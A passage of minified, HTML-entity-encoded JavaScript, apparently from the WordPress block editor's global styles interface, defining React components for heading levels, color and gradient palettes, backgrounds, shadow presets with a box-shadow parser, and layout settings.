WSe({element:e}){let[t,r]=(0,YU.useState)(&quot;heading&quot;);return(0,So.jsxs)(So.Fragment,{children:[(0,So.jsx)(St,{title:WU[e].title,description:WU[e].description}),(0,So.jsx)(Ni.__experimentalSpacer,{marginX:4,children:(0,So.jsx)(GU,{element:e,headingLevel:t})}),e===&quot;heading&quot;&amp;&amp;(0,So.jsx)(Ni.__experimentalSpacer,{marginX:4,marginBottom:&quot;1em&quot;,children:(0,So.jsxs)(Ni.__experimentalToggleGroupControl,{label:(0,Bt.__)(&quot;Select heading level&quot;),hideLabelFromVision:!0,value:t,onChange:o=&gt;r(o),isBlock:!0,size:&quot;__unstable-large&quot;,children:[(0,So.jsx)(Ni.__experimentalToggleGroupControlOption,{value:&quot;heading&quot;,showTooltip:!0,&quot;aria-label&quot;:(0,Bt.__)(&quot;All headings&quot;),label:(0,Bt._x)(&quot;All&quot;,&quot;heading levels&quot;)}),(0,So.jsx)(Ni.__experimentalToggleGroupControlOption,{value:&quot;h1&quot;,showTooltip:!0,&quot;aria-label&quot;:(0,Bt.__)(&quot;Heading 1&quot;),label:(0,Bt.__)(&quot;H1&quot;)}),(0,So.jsx)(Ni.__experimentalToggleGroupControlOption,{value:&quot;h2&quot;,showTooltip:!0,&quot;aria-label&quot;:(0,Bt.__)(&quot;Heading 2&quot;),label:(0,Bt.__)(&quot;H2&quot;)}),(0,So.jsx)(Ni.__experimentalToggleGroupControlOption,{value:&quot;h3&quot;,showTooltip:!0,&quot;aria-label&quot;:(0,Bt.__)(&quot;Heading 3&quot;),label:(0,Bt.__)(&quot;H3&quot;)}),(0,So.jsx)(Ni.__experimentalToggleGroupControlOption,{value:&quot;h4&quot;,showTooltip:!0,&quot;aria-label&quot;:(0,Bt.__)(&quot;Heading 4&quot;),label:(0,Bt.__)(&quot;H4&quot;)}),(0,So.jsx)(Ni.__experimentalToggleGroupControlOption,{value:&quot;h5&quot;,showTooltip:!0,&quot;aria-label&quot;:(0,Bt.__)(&quot;Heading 5&quot;),label:(0,Bt.__)(&quot;H5&quot;)}),(0,So.jsx)(Ni.__experimentalToggleGroupControlOption,{value:&quot;h6&quot;,showTooltip:!0,&quot;aria-label&quot;:(0,Bt.__)(&quot;Heading 6&quot;),label:(0,Bt.__)(&quot;H6&quot;)})]})}),(0,So.jsx)(UU,{element:e,headingLevel:t})]})}var uh=WSe;var L6=s(E(),1),JU=s(A(),1),$U=s($(),1);var Fi=s(A(),1),dh=s(E(),1);var XU=s(D(),1);var qU=s(A(),1),ZU=s(C(),1);function YSe({className:e,children:t,...r}){return(0,ZU.jsx)(qU.Flex,{className:re(&quot;global-styles-ui__color-indicator-wrapper&quot;,e),...r,children:t})}var KU=YSe;var nn=s(C(),1),Ox=[];function qSe({name:e}){let[t]=pe(&quot;color.palette.custom&quot;),[r]=pe(&quot;color.palette.theme&quot;),[o]=pe(&quot;color.palette.default&quot;),[n]=pe(&quot;color.defaultPalette&quot;,e),i=t||Ox,a=r||Ox,l=o||Ox,c=n??!0,u=(0,XU.useMemo)(()=&gt;[...i,...a,...l&amp;&amp;c?l:Ox],[i,a,l,c]),d=e?&quot;/blocks/&quot;+encodeURIComponent(e)+&quot;/colors/palette&quot;:&quot;/colors/palette&quot;;return(0,nn.jsxs)(Fi.__experimentalVStack,{spacing:3,children:[(0,nn.jsx)(Tr,{level:3,children:(0,dh.__)(&quot;Palette&quot;)}),(0,nn.jsx)(Fi.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:(0,nn.jsx)(fr,{path:d,children:(0,nn.jsxs)(Fi.__experimentalHStack,{direction:&quot;row&quot;,children:[u.length&gt;0?(0,nn.jsxs)(nn.Fragment,{children:[(0,nn.jsx)(Fi.__experimentalZStack,{isLayered:!1,offset:-8,children:u.slice(0,5).map(({color:f},m)=&gt;(0,nn.jsx)(KU,{children:(0,nn.jsx)(Fi.ColorIndicator,{colorValue:f})},`${f}-${m}`))}),(0,nn.jsx)(Fi.FlexItem,{isBlock:!0,children:(0,dh.__)(&quot;Edit palette&quot;)})]}):(0,nn.jsx)(Fi.FlexItem,{children:(0,dh.__)(&quot;Add colors&quot;)}),(0,nn.jsx)(No,{icon:(0,dh.isRTL)()?Nt:Ft})]})})})]})}var QU=qSe;var Ua=s(C(),1),{useSettingsForBlockElement:ZSe,ColorPanel:KSe}=rt($U.privateApis);function XSe(){let[e,t]=Ee(&quot;&quot;,void 0,&quot;user&quot;,!1),[r]=Ee(&quot;&quot;,void 0,&quot;merged&quot;,!1),[o]=pe(&quot;&quot;),n=ZSe(o);return(0,Ua.jsxs)(Ua.Fragment,{children:[(0,Ua.jsx)(St,{title:(0,L6.__)(&quot;Colors&quot;),description:(0,L6.__)(&quot;Palette colors and the application of those colors on site elements.&quot;)}),(0,Ua.jsx)(Bu,{children:(0,Ua.jsx)(JU.__experimentalVStack,{spacing:7,children:(0,Ua.jsx)(QU,{})})}),(0,Ua.jsx)(KSe,{inheritedValue:r,value:e,onChange:t,settings:n})]})}var eH=XSe;var Nb=s(E(),1),cH=s(A(),1);var iH=s(he(),1),oc=s(A(),1),mh=s(E(),1);var Nx=s(A(),1);var Ix=s(A(),1);var tH=s(C(),1);function rH(){let{paletteColors:e}=Qp();return e.slice(0,4).map(({slug:t,color:r},o)=&gt;(0,tH.jsx)(&quot;div&quot;,{style:{flexGrow:1,height:&quot;100%&quot;,background:r}},`${t}-${o}`))}var Ob=s(C(),1),QSe={start:{scale:1,opacity:1},hover:{scale:0,opacity:0}},JSe=({label:e,isFocused:t,withHoverView:r})=&gt;(0,Ob.jsx)($p,{label:e,isFocused:t,withHoverView:r,children:({key:o})=&gt;(0,Ob.jsx)(Ix.__unstableMotion.div,{variants:QSe,style:{height:&quot;100%&quot;,overflow:&quot;hidden&quot;},children:(0,Ob.jsx)(Ix.__experimentalHStack,{spacing:0,justify:&quot;center&quot;,style:{height:&quot;100%&quot;,overflow:&quot;hidden&quot;},children:(0,Ob.jsx)(rH,{})})},o)}),oH=JSe;var Uf=s(C(),1),nH=[&quot;color&quot;];function fh({title:e,gap:t=2}){let r=$w(nH);return r?.length&lt;=1?null:(0,Uf.jsxs)(Nx.__experimentalVStack,{spacing:3,children:[e&amp;&amp;(0,Uf.jsx)(Tr,{level:3,children:e}),(0,Uf.jsx)(Nx.__experimentalGrid,{gap:t,children:r.map((o,n)=&gt;(0,Uf.jsx)(rh,{variation:o,isPill:!0,properties:nH,showTooltip:!0,children:()=&gt;(0,Uf.jsx)(oH,{})},n))})]})}var rc=s(C(),1),$Se={placement:&quot;bottom-start&quot;,offset:8};function sH({name:e}){let[t,r]=pe(&quot;color.palette.theme&quot;,e),[o]=pe(&quot;color.palette.theme&quot;,e,&quot;base&quot;),[n,i]=pe(&quot;color.palette.default&quot;,e),[a]=pe(&quot;color.palette.default&quot;,e,&quot;base&quot;),[l,c]=pe(&quot;color.palette.custom&quot;,e),[u]=pe(&quot;color.defaultPalette&quot;,e),f=(0,iH.useViewportMatch)(&quot;small&quot;,&quot;&lt;&quot;)?$Se:void 0,[m]=Hj(e);return(0,rc.jsxs)(oc.__experimentalVStack,{className:&quot;global-styles-ui-color-palette-panel&quot;,spacing:8,children:[(0,rc.jsxs)(oc.__experimentalVStack,{spacing:4,children:[!!t&amp;&amp;!!t.length&amp;&amp;(0,rc.jsx)(oc.__experimentalPaletteEdit,{canReset:t!==o,canOnlyChangeValues:!0,colors:t,onChange:r,paletteLabel:(0,mh.__)(&quot;Theme&quot;),paletteLabelHeadingLevel:3,popoverProps:f}),window.__experimentalEnableColorRandomizer&amp;&amp;t?.length&gt;0&amp;&amp;m&amp;&amp;(0,rc.jsx)(oc.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,icon:MA,onClick:m,children:(0,mh.__)(&quot;Randomize colors&quot;)})]}),!!n&amp;&amp;!!n.length&amp;&amp;!!u&amp;&amp;(0,rc.jsx)(oc.__experimentalPaletteEdit,{canReset:n!==a,canOnlyChangeValues:!0,colors:n,onChange:i,paletteLabel:(0,mh.__)(&quot;Default&quot;),paletteLabelHeadingLevel:3,popoverProps:f}),(0,rc.jsx)(oc.__experimentalPaletteEdit,{colors:l,onChange:c,paletteLabel:(0,mh.__)(&quot;Custom&quot;),paletteLabelHeadingLevel:3,slugPrefix:&quot;custom-&quot;,popoverProps:f}),(0,rc.jsx)(fh,{title:(0,mh.__)(&quot;Palettes&quot;)})]})}var aH=s(he(),1),Ga=s(A(),1),Ib=s(E(),1);var Ha=s(C(),1),e_e={placement:&quot;bottom-start&quot;,offset:8},t_e=()=&gt;{};function lH({name:e}){let[t,r]=pe(&quot;color.gradients.theme&quot;,e),[o]=pe(&quot;color.gradients.theme&quot;,e,&quot;base&quot;),[n,i]=pe(&quot;color.gradients.default&quot;,e),[a]=pe(&quot;color.gradients.default&quot;,e,&quot;base&quot;),[l,c]=pe(&quot;color.gradients.custom&quot;,e),[u]=pe(&quot;color.defaultGradients&quot;,e),[d]=pe(&quot;color.duotone.custom&quot;)||[],[f]=pe(&quot;color.duotone.default&quot;)||[],[m]=pe(&quot;color.duotone.theme&quot;)||[],[h]=pe(&quot;color.defaultDuotone&quot;),g=[...d||[],...m||[],...f&amp;&amp;h?f:[]],y=(0,aH.useViewportMatch)(&quot;small&quot;,&quot;&lt;&quot;)?e_e:void 0;return(0,Ha.jsxs)(Ga.__experimentalVStack,{className:&quot;global-styles-ui-gradient-palette-panel&quot;,spacing:8,children:[!!t&amp;&amp;!!t.length&amp;&amp;(0,Ha.jsx)(Ga.__experimentalPaletteEdit,{canReset:t!==o,canOnlyChangeValues:!0,gradients:t,onChange:r,paletteLabel:(0,Ib.__)(&quot;Theme&quot;),paletteLabelHeadingLevel:3,popoverProps:y}),!!n&amp;&amp;!!n.length&amp;&amp;!!u&amp;&amp;(0,Ha.jsx)(Ga.__experimentalPaletteEdit,{canReset:n!==a,canOnlyChangeValues:!0,gradients:n,onChange:i,paletteLabel:(0,Ib.__)(&quot;Default&quot;),paletteLabelHeadingLevel:3,popoverProps:y}),(0,Ha.jsx)(Ga.__experimentalPaletteEdit,{gradients:l,onChange:c,paletteLabel:(0,Ib.__)(&quot;Custom&quot;),paletteLabelHeadingLevel:3,slugPrefix:&quot;custom-&quot;,popoverProps:y}),!!g&amp;&amp;!!g.length&amp;&amp;(0,Ha.jsxs)(&quot;div&quot;,{children:[(0,Ha.jsx)(Tr,{level:3,children:(0,Ib.__)(&quot;Duotone&quot;)}),(0,Ha.jsx)(Ga.__experimentalSpacer,{margin:3}),(0,Ha.jsx)(Ga.DuotonePicker,{duotonePalette:g,disableCustomDuotone:!0,disableCustomColors:!0,clearable:!1,onChange:t_e,colorPalette:[]})]})]})}var ii=s(C(),1),{Tabs:ph}=rt(cH.privateApis);function r_e({name:e}){return(0,ii.jsxs)(ii.Fragment,{children:[(0,ii.jsx)(St,{title:(0,Nb.__)(&quot;Edit palette&quot;),description:(0,Nb.__)(&quot;The combination of colors used across the site and in color pickers.&quot;)}),(0,ii.jsxs)(ph,{children:[(0,ii.jsxs)(ph.TabList,{children:[(0,ii.jsx)(ph.Tab,{tabId:&quot;color&quot;,children:(0,Nb.__)(&quot;Color&quot;)}),(0,ii.jsx)(ph.Tab,{tabId:&quot;gradient&quot;,children:(0,Nb.__)(&quot;Gradient&quot;)})]}),(0,ii.jsx)(ph.TabPanel,{tabId:&quot;color&quot;,focusable:!1,children:(0,ii.jsx)(sH,{name:e})}),(0,ii.jsx)(ph.TabPanel,{tabId:&quot;gradient&quot;,focusable:!1,children:(0,ii.jsx)(lH,{name:e})})]})]})}var uH=r_e;var V6=s(E(),1),pH=s($(),1),hH=s(A(),1);var dH=s($(),1);var fH=s(C(),1),o_e={backgroundSize:&quot;auto&quot;},{BackgroundPanel:n_e}=rt(dH.privateApis);function mH(){let[e]=Ee(&quot;&quot;,void 0,&quot;user&quot;,!1),[t,r]=Ee(&quot;&quot;,void 0,&quot;merged&quot;,!1),[o]=pe(&quot;&quot;);return(0,fH.jsx)(n_e,{inheritedValue:t,value:e,onChange:r,settings:o,defaultValues:o_e})}var zu=s(C(),1),{useHasBackgroundPanel:i_e}=rt(pH.privateApis);function s_e(){let[e]=pe(&quot;&quot;),t=i_e(e);return(0,zu.jsxs)(zu.Fragment,{children:[(0,zu.jsx)(St,{title:(0,V6.__)(&quot;Background&quot;),description:(0,zu.jsx)(hH.__experimentalText,{children:(0,V6.__)(&quot;Set styles for the site&#039;s background.&quot;)})}),t&amp;&amp;(0,zu.jsx)(mH,{})]})}var gH=s_e;var an=s(A(),1),sn=s(E(),1);var _H=s(D(),1);var vH=s(A(),1),yH=s(E(),1),bH=s(C(),1);function a_e({text:e,confirmButtonText:t,isOpen:r,toggleOpen:o,onConfirm:n}){let i=async()=&gt;{o(),n()},a=()=&gt;{o()};return(0,bH.jsx)(vH.__experimentalConfirmDialog,{isOpen:r,cancelButtonText:(0,yH.__)(&quot;Cancel&quot;),confirmButtonText:t,onCancel:a,onConfirm:i,size:&quot;medium&quot;,children:e})}var SH=a_e;var kt=s(C(),1),{Menu:Fb}=rt(an.privateApis),z6=&quot;6px 6px 9px rgba(0, 0, 0, 0.2)&quot;;function wH(){let[e]=pe(&quot;shadow.presets.default&quot;),[t]=pe(&quot;shadow.defaultPresets&quot;),[r]=pe(&quot;shadow.presets.theme&quot;),[o,n]=pe(&quot;shadow.presets.custom&quot;),i=d=&gt;{n([...o||[],d])},a=()=&gt;{n([])},[l,c]=(0,_H.useState)(!1),u=()=&gt;c(!l);return(0,kt.jsxs)(kt.Fragment,{children:[l&amp;&amp;(0,kt.jsx)(SH,{text:(0,sn.__)(&quot;Are you sure you want to remove all custom shadows?&quot;),confirmButtonText:(0,sn.__)(&quot;Remove&quot;),isOpen:l,toggleOpen:u,onConfirm:a}),(0,kt.jsx)(St,{title:(0,sn.__)(&quot;Shadows&quot;),description:(0,sn.__)(&quot;Manage and create shadow styles for use across the site.&quot;)}),(0,kt.jsx)(Bu,{children:(0,kt.jsxs)(an.__experimentalVStack,{className:&quot;global-styles-ui__shadows-panel&quot;,spacing:7,children:[t&amp;&amp;(0,kt.jsx)(j6,{label:(0,sn.__)(&quot;Default&quot;),shadows:e||[],category:&quot;default&quot;}),r&amp;&amp;r.length&gt;0&amp;&amp;(0,kt.jsx)(j6,{label:(0,sn.__)(&quot;Theme&quot;),shadows:r||[],category:&quot;theme&quot;}),(0,kt.jsx)(j6,{label:(0,sn.__)(&quot;Custom&quot;),shadows:o||[],category:&quot;custom&quot;,canCreate:!0,onCreate:i,onReset:u})]})})]})}function j6({label:e,shadows:t,category:r,canCreate:o,onCreate:n,onReset:i}){let a=()=&gt;{let l=Jw(t,&quot;shadow-&quot;);n?.({name:(0,sn.sprintf)((0,sn.__)(&quot;Shadow %d&quot;),l),shadow:z6,slug:`shadow-${l}`})};return(0,kt.jsxs)(an.__experimentalVStack,{spacing:2,children:[(0,kt.jsxs)(an.__experimentalHStack,{justify:&quot;space-between&quot;,children:[(0,kt.jsx)(Tr,{level:3,children:e}),(0,kt.jsxs)(an.FlexItem,{className:&quot;global-styles-ui__shadows-panel__options-container&quot;,children:[o&amp;&amp;(0,kt.jsx)(an.Button,{size:&quot;small&quot;,icon:Pl,label:(0,sn.__)(&quot;Add shadow&quot;),onClick:()=&gt;{a()}}),!!t?.length&amp;&amp;r===&quot;custom&quot;&amp;&amp;(0,kt.jsxs)(Fb,{children:[(0,kt.jsx)(Fb.TriggerButton,{render:(0,kt.jsx)(an.Button,{size:&quot;small&quot;,icon:Nr,label:(0,sn.__)(&quot;Shadow options&quot;)})}),(0,kt.jsx)(Fb.Popover,{children:(0,kt.jsx)(Fb.Item,{onClick:i,children:(0,kt.jsx)(Fb.ItemLabel,{children:(0,sn.__)(&quot;Remove all custom shadows&quot;)})})})]})]})]}),t.length&gt;0&amp;&amp;(0,kt.jsx)(an.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:t.map(l=&gt;(0,kt.jsx)(l_e,{shadow:l,category:r},l.slug))})]})}function l_e({shadow:e,category:t}){return(0,kt.jsx)(fr,{path:`/shadows/edit/${t}/${e.slug}`,children:(0,kt.jsxs)(an.__experimentalHStack,{children:[(0,kt.jsx)(an.FlexItem,{children:e.name}),(0,kt.jsx)(No,{icon:(0,sn.isRTL)()?Nt:Ft})]})})}var De=s(A(),1),Ut=s(E(),1);var Di=s(D(),1);function xH(e){return(e.match(/(?:[^,(]|\([^)]*\))+/g)||[]).map(r=&gt;r.trim())}function CH(e){let t={x:&quot;0&quot;,y:&quot;0&quot;,blur:&quot;0&quot;,spread:&quot;0&quot;,color:&quot;#000&quot;,inset:!1};if(!e||e.includes(&quot;none&quot;))return t;let r=/((?:^|\s+)(-?\d*\.?\d+(?:px|%|in|cm|mm|em|rem|ex|pt|pc|vh|vw|vmin|vmax|ch|lh)?)(?=\s|$)(?![^(]*\))){1,4}/g,o=e.match(r)||[];if(o.length!==1)return t;let n=o[0].split(&quot; &quot;).map(g=&gt;g.trim()).filter(g=&gt;g);if(n.length&lt;2)return t;let i=e.match(/inset/gi)||[];if(i.length&gt;1)return t;let a=i.length===1,l=e.replace(r,&quot;&quot;).trim();a&amp;&amp;(l=l.replace(&quot;inset&quot;,&quot;&quot;).replace(&quot;INSET&quot;,&quot;&quot;).trim());let c=/^#([0-9a-f]{3}){1,2}$|^#([0-9a-f]{4}){1,2}$|^(?:rgb|hsl)a?\(?[\d*\.?\d+%?,?\/?\s]*\)$/gi,u=(l.match(c)||[]).map(g=&gt;g?.trim()).filter(g=&gt;g);if(u.length&gt;1)return t;if(u.length===0&amp;&amp;(u=l.trim().split(&quot; &quot;).filter(g=&gt;g),u.length&gt;1))return t;let[d,f,m,h]=n;return{x:d,y:f,blur:m||t.blur,spread:h||t.spread,inset:a,color:l||t.color}}function TH(e){let t=`${e.x||&quot;0px&quot;} ${e.y||&quot;0px&quot;} ${e.blur||&quot;0px&quot;} ${e.spread||&quot;0px&quot;}`;return`${e.inset?&quot;inset&quot;:&quot;&quot;} ${t} ${e.color||&quot;&quot;}`.trim()}var Te=s(C(),1),{Menu:Db}=rt(De.privateApis),c_e=[{label:(0,Ut.__)(&quot;Rename&quot;),action:&quot;rename&quot;},{label:(0,Ut.__)(&quot;Delete&quot;),action:&quot;delete&quot;}],u_e=[{label:(0,Ut.__)(&quot;Reset&quot;),action:&quot;reset&quot;}];function PH(){let{goBack:e,params:t}=(0,De.useNavigator)(),{category:r,slug:o}=t,[n,i]=pe(`shadow.presets.${r}`);(0,Di.useEffect)(()=&gt;{let x=n?.some(T=&gt;T.slug===o);o&amp;&amp;!x&amp;&amp;e()},[n,o,e]);let[a]=pe(`shadow.presets.${r}`,void 0,&quot;base&quot;),[l,c]=(0,Di.useState)(()=&gt;(n||[]).find(x=&gt;x.slug===o)),u=(0,Di.useMemo)(()=&gt;(a||[]).find(x=&gt;x.slug===o),[a,o]),[d,f]=(0,Di.useState)(!1),[m,h]=(0,Di.useState)(!1),[g,v]=(0,Di.useState)(l?.name);if(!r||!o)return null;let y=x=&gt;{c({...l,shadow:x});let T=n.map(R=&gt;R.slug===o?{...l,shadow:x}:R);i(T)},b=x=&gt;{if(x===&quot;reset&quot;){let T=n.map(R=&gt;R.slug===o?u:R);c(u),i(T)}else x===&quot;delete&quot;?f(!0):x===&quot;rename&quot;&amp;&amp;h(!0)},_=()=&gt;{i(n.filter(x=&gt;x.slug!==o))},S=x=&gt;{if(!x)return;let T=n.map(R=&gt;R.slug===o?{...l,name:x}:R);c({...l,name:x}),i(T)};return l?(0,Te.jsxs)(Te.Fragment,{children:[(0,Te.jsxs)(De.__experimentalHStack,{justify:&quot;space-between&quot;,children:[(0,Te.jsx)(St,{title:l.name}),(0,Te.jsx)(De.FlexItem,{children:(0,Te.jsx)(De.__experimentalSpacer,{marginTop:2,marginBottom:0,paddingX:4,children:(0,Te.jsxs)(Db,{children:[(0,Te.jsx)(Db.TriggerButton,{render:(0,Te.jsx)(De.Button,{size:&quot;small&quot;,icon:Nr,label:(0,Ut.__)(&quot;Menu&quot;)})}),(0,Te.jsx)(Db.Popover,{children:(r===&quot;custom&quot;?c_e:u_e).map(x=&gt;(0,Te.jsx)(Db.Item,{onClick:()=&gt;b(x.action),disabled:x.action===&quot;reset&quot;&amp;&amp;l.shadow===u?.shadow,children:(0,Te.jsx)(Db.ItemLabel,{children:x.label})},x.action))})]})})})]}),(0,Te.jsxs)(Bu,{children:[(0,Te.jsx)(d_e,{shadow:l.shadow}),(0,Te.jsx)(f_e,{shadow:l.shadow,onChange:y})]}),d&amp;&amp;(0,Te.jsx)(De.__experimentalConfirmDialog,{isOpen:!0,onConfirm:()=&gt;{_(),f(!1)},onCancel:()=&gt;{f(!1)},confirmButtonText:(0,Ut.__)(&quot;Delete&quot;),size:&quot;medium&quot;,children:(0,Ut.sprintf)((0,Ut.__)(&#039;Are you sure you want to delete &quot;%s&quot; shadow preset?&#039;),l.name)}),m&amp;&amp;(0,Te.jsx)(De.Modal,{title:(0,Ut.__)(&quot;Rename&quot;),onRequestClose:()=&gt;h(!1),size:&quot;small&quot;,children:(0,Te.jsxs)(&quot;form&quot;,{onSubmit:x=&gt;{x.preventDefault(),S(g),h(!1)},children:[(0,Te.jsx)(De.__experimentalInputControl,{__next40pxDefaultSize:!0,autoComplete:&quot;off&quot;,label:(0,Ut.__)(&quot;Name&quot;),placeholder:(0,Ut.__)(&quot;Shadow name&quot;),value:g??&quot;&quot;,onChange:v}),(0,Te.jsx)(De.__experimentalSpacer,{marginBottom:6}),(0,Te.jsxs)(De.Flex,{className:&quot;block-editor-shadow-edit-modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:[(0,Te.jsx)(De.FlexItem,{children:(0,Te.jsx)(De.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;h(!1),children:(0,Ut.__)(&quot;Cancel&quot;)})}),(0,Te.jsx)(De.FlexItem,{children:(0,Te.jsx)(De.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,children:(0,Ut.__)(&quot;Save&quot;)})})]})]})})]}):(0,Te.jsx)(St,{title:&quot;&quot;})}function d_e({shadow:e}){return(0,Te.jsx)(De.__experimentalSpacer,{marginBottom:4,marginTop:-2,children:(0,Te.jsx)(De.__experimentalHStack,{alignment:&quot;center&quot;,justify:&quot;center&quot;,className:&quot;global-styles-ui__shadow-preview-panel&quot;,children:(0,Te.jsx)(&quot;div&quot;,{className:&quot;global-styles-ui__shadow-preview-block&quot;,style:{boxShadow:e}})})})}function f_e({shadow:e,onChange:t}){let r=(0,Di.useRef)(null),o=(0,Di.useMemo)(()=&gt;xH(e),[e]),n=(l,c)=&gt;{let u=[...o];u[l]=c,t(u.join(&quot;, &quot;))},i=()=&gt;{t([...o,z6].join(&quot;, &quot;))},a=l=&gt;{t(o.filter((c,u)=&gt;u!==l).join(&quot;, &quot;)),r.current?.focus()};return(0,Te.jsxs)(Te.Fragment,{children:[(0,Te.jsx)(De.__experimentalVStack,{spacing:2,children:(0,Te.jsxs)(De.__experimentalHStack,{justify:&quot;space-between&quot;,children:[(0,Te.jsx)(Tr,{level:3,children:(0,Ut.__)(&quot;Shadows&quot;)}),(0,Te.jsx)(De.FlexItem,{className:&quot;global-styles-ui__shadows-panel__options-container&quot;,children:(0,Te.jsx)(De.Button,{size:&quot;small&quot;,icon:Pl,label:(0,Ut.__)(&quot;Add shadow&quot;),onClick:()=&gt;{i()},ref:r})})]})}),(0,Te.jsx)(De.__experimentalSpacer,{}),(0,Te.jsx)(De.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:o.map((l,c)=&gt;(0,Te.jsx)(m_e,{shadow:l,onChange:u=&gt;n(c,u),canRemove:o.length&gt;1,onRemove:()=&gt;a(c)},c))})]})}function m_e({shadow:e,onChange:t,canRemove:r,onRemove:o}){let n={placement:&quot;left-start&quot;,offset:36,shift:!0},i=(0,Di.useMemo)(()=&gt;CH(e),[e]),a=l=&gt;{t(TH(l))};return(0,Te.jsx)(De.Dropdown,{popoverProps:n,className:&quot;global-styles-ui__shadow-editor__dropdown&quot;,renderToggle:({onToggle:l,isOpen:c})=&gt;{let u={onClick:l,className:re(&quot;global-styles-ui__shadow-editor__dropdown-toggle&quot;,{&quot;is-open&quot;:c}),&quot;aria-expanded&quot;:c},d={onClick:()=&gt;{c&amp;&amp;l(),o()},className:re(&quot;global-styles-ui__shadow-editor__remove-button&quot;,{&quot;is-open&quot;:c}),label:(0,Ut.__)(&quot;Remove shadow&quot;)};return(0,Te.jsxs)(Te.Fragment,{children:[(0,Te.jsx)(De.Button,{__next40pxDefaultSize:!0,icon:Hv,...u,children:i.inset?(0,Ut.__)(&quot;Inner shadow&quot;):(0,Ut.__)(&quot;Drop shadow&quot;)}),r&amp;&amp;(0,Te.jsx)(De.Button,{size:&quot;small&quot;,icon:kA,...d})]})},renderContent:()=&gt;(0,Te.jsx)(De.__experimentalDropdownContentWrapper,{paddingSize:&quot;medium&quot;,className:&quot;global-styles-ui__shadow-editor__dropdown-content&quot;,children:(0,Te.jsx)(p_e,{shadowObj:i,onChange:a})})})}function p_e({shadowObj:e,onChange:t}){let n=(i,a)=&gt;{let l={...e,[i]:a};t(l)};return(0,Te.jsxs)(De.__experimentalVStack,{spacing:4,className:&quot;global-styles-ui__shadow-editor-panel&quot;,children:[(0,Te.jsx)(De.ColorPalette,{clearable:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,value:e.color,onChange:i=&gt;n(&quot;color&quot;,i)}),(0,Te.jsxs)(De.__experimentalToggleGroupControl,{label:(0,Ut.__)(&quot;Shadow Type&quot;),value:e.inset?&quot;inset&quot;:&quot;outset&quot;,isBlock:!0,onChange:i=&gt;n(&quot;inset&quot;,i===&quot;inset&quot;),hideLabelFromVision:!0,__next40pxDefaultSize:!0,children:[(0,Te.jsx)(De.__experimentalToggleGroupControlOption,{value:&quot;outset&quot;,label:(0,Ut.__)(&quot;Outset&quot;)}),(0,Te.jsx)(De.__experimentalToggleGroupControlOption,{value:&quot;inset&quot;,label:(0,Ut.__)(&quot;Inset&quot;)})]}),(0,Te.jsxs)(De.__experimentalGrid,{columns:2,gap:4,children:[(0,Te.jsx)(Fx,{label:(0,Ut.__)(&quot;X Position&quot;),value:e.x,onChange:i=&gt;n(&quot;x&quot;,i)}),(0,Te.jsx)(Fx,{label:(0,Ut.__)(&quot;Y Position&quot;),value:e.y,onChange:i=&gt;n(&quot;y&quot;,i)}),(0,Te.jsx)(Fx,{label:(0,Ut.__)(&quot;Blur&quot;),value:e.blur,onChange:i=&gt;n(&quot;blur&quot;,i)}),(0,Te.jsx)(Fx,{label:(0,Ut.__)(&quot;Spread&quot;),value:e.spread,onChange:i=&gt;n(&quot;spread&quot;,i)})]})]})}function Fx({label:e,value:t,onChange:r}){return(0,Te.jsx)(De.__experimentalUnitControl,{label:e,__next40pxDefaultSize:!0,value:t,onChange:n=&gt;{let a=n!==void 0&amp;&amp;!isNaN(parseFloat(n))?n:&quot;0px&quot;;r(a)}})}var U6=s(C(),1);function kH(){return(0,U6.jsx)(wH,{})}function EH(){return(0,U6.jsx)(PH,{})}var IH=s(E(),1),NH=s($(),1);var RH=s($(),1),H6=s(D(),1);var AH=s(C(),1),{useSettingsForBlockElement:h_e,DimensionsPanel:g_e}=rt(RH.privateApis),v_e={contentSize:!0,wideSize:!0,padding:!0,margin:!0,blockGap:!0,height:!0,minHeight:!0,width:!0,childLayout:!1};function OH(){let[e]=Ee(&quot;&quot;,void 0,&quot;user&quot;,!1),[t,r]=Ee(&quot;&quot;,void 0,&quot;merged&quot;,!1),[o]=pe(&quot;&quot;,void 0,&quot;user&quot;),[n,i]=pe(&quot;&quot;),a=h_e(n),l=(0,H6.useMemo)(()=&gt;({...t,layout:a.layout}),[t,a.layout]),c=(0,H6.useMemo)(()=&gt;({...e,layout:o.layout}),[e,o.layout]);return(0,AH.jsx)(g_e,{inheritedValue:l,value:c,onChange:d=&gt;{let f={...d};if(delete f.layout,r(f),d.layout!==o.layout){let m={...o,layout:d.layout};m.layout?.definitions&amp;&amp;delete m.layout.definitions,i(m)}},settings:a,includeLayoutControls:!0,defaultControls:v_e})}var Hf=s(C(),1),{useHasDimensionsPanel:y_e,useSettingsForBlockElement:b_e}=rt(NH.privateApis);function S_e(){let[e]=pe(&quot;&quot;),t=b_e(e),r=y_e(t);return(0,Hf.jsxs)(Hf.Fragment,{children:[(0,Hf.jsx)(St,{title:(0,IH.__)(&quot;Layout&quot;)}),r&amp;&amp;(0,Hf.jsx)(OH,{})]})}var FH=S_e;var Lx=s(A(),1),W6=s(E(),1);var G6=s(E(),1),VH=s(A(),1);var DH=s(W(),1),BH=s(O(),1),Bx=s(D(),1),MH=s(A(),1),LH=s(E(),1);var Dx=s(C(),1);function __e({gap:e=2}){let{user:t}=(0,Bx.useContext)(Br),r=t?.styles,n=(0,BH.useSelect)(a=&gt;{let l=a(DH.store).__experimentalGetCurrentThemeGlobalStylesVariations();return Array.isArray(l)?l:void 0},[])?.filter(a=&gt;!yb(a,[&quot;color&quot;])&amp;&amp;!yb(a,[&quot;typography&quot;,&quot;spacing&quot;])),i=(0,Bx.useMemo)(()=&gt;[...[{title:(0,LH.__)(&quot;Default&quot;),settings:{},styles:{}},...n??[]].map(l=&gt;{let c=l?.styles?.blocks?{...l.styles.blocks}:{};r?.blocks&amp;&amp;Object.keys(r.blocks).forEach(m=&gt;{if(r.blocks?.[m]?.css){let h=c[m]||{},g={css:`${c[m]?.css||&quot;&quot;} ${r.blocks?.[m]?.css?.trim()||&quot;&quot;}`};c[m]={...h,...g}}});let u=r?.css||l.styles?.css?{css:`${l.styles?.css||&quot;&quot;} 